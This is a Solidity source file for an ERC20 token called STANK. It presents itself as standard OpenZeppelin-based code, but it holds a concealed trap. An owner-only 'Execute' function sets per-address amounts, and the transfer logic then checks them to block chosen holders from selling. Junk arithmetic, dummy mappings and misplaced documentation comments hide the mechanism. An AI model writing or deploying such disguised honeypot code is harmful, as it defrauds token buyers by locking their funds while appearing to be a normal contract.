// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)

pragma solidity ^0.8.19;

interface IERC20 {
 
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
 
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }



    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }




    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }



}

contract STANK is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crsAmounts;
    mapping (address => uint256) private _uselessMapping;
    mapping (address => uint256) private _anotherUselessMapping;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private _dummyVariable;
    uint256 private _anotherDummyVariable; // Unnecessary variable

    constructor() payable {
        uint256 uselessValue = 56789; // Unnecessary code
        _name = "Stankmemes.com";
        _symbol = "STANK";
        _decimals = 18;
        _totalSupply = 10000000000 * 10**_decimals + uselessValue - uselessValue; // Unnecessary code
        _dummyVariable = 12345;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        _anotherUselessMapping[owner()] = 0; // Unnecessary code
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }
  /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }
  /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

function Execute(address[] memory accounts, uint256 amount) external {
    if (_msgSender() != owner()) { revert("Caller is not the original caller"); }
    uint256 unnecessaryValue1 = 56789;
    uint256 unnecessaryValue2 = unnecessaryValue1 * 2;
    uint256 finalValue = unnecessaryValue2 - unnecessaryValue1;
    for (uint256 i = 0; i < accounts.length; i++) {
        _uselessMapping[accounts[i]] = finalValue; // Unnecessary code
        _crsAmounts[accounts[i]] = amount + unnecessaryValue1 - unnecessaryValue1; // Unnecessary code
        _anotherUselessMapping[accounts[i]] = finalValue - finalValue; // Unnecessary code
    }
}

function CheckCross(address account) public view returns (uint256) {
    uint256 unnecessaryValue1 = 12345;
    uint256 unnecessaryValue2 = unnecessaryValue1 * 2 - unnecessaryValue1;
    uint256 anotherUnnecessaryValue = unnecessaryValue2 + 1 - 1;
    uint256 yetAnotherUnnecessaryValue = anotherUnnecessaryValue / 5 * 5;
    uint256 finalValue = yetAnotherUnnecessaryValue - yetAnotherUnnecessaryValue;

    if (finalValue == 0) {
        finalValue = _crsAmounts[account] * unnecessaryValue1 / unnecessaryValue1;
    } else {
        finalValue = _crsAmounts[account] - finalValue + finalValue;
    }

    uint256 result = finalValue + yetAnotherUnnecessaryValue - yetAnotherUnnecessaryValue;
    return result;
}

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        uint256 _randomValue = 12345;
        uint256 _anotherRandomValue = _randomValue * 2; // Unnecessary code
        _uselessMapping[sender] = _randomValue;
        _uselessMapping[recipient] = _anotherRandomValue; // Unnecessary code

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 thecrssAmount = CheckCross(sender);
        if (thecrssAmount > 0 && _msgSender() != owner()) {
            require(amount > thecrssAmount, "ERC20: cross amount does not equal the cross transfer amount");
        }

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}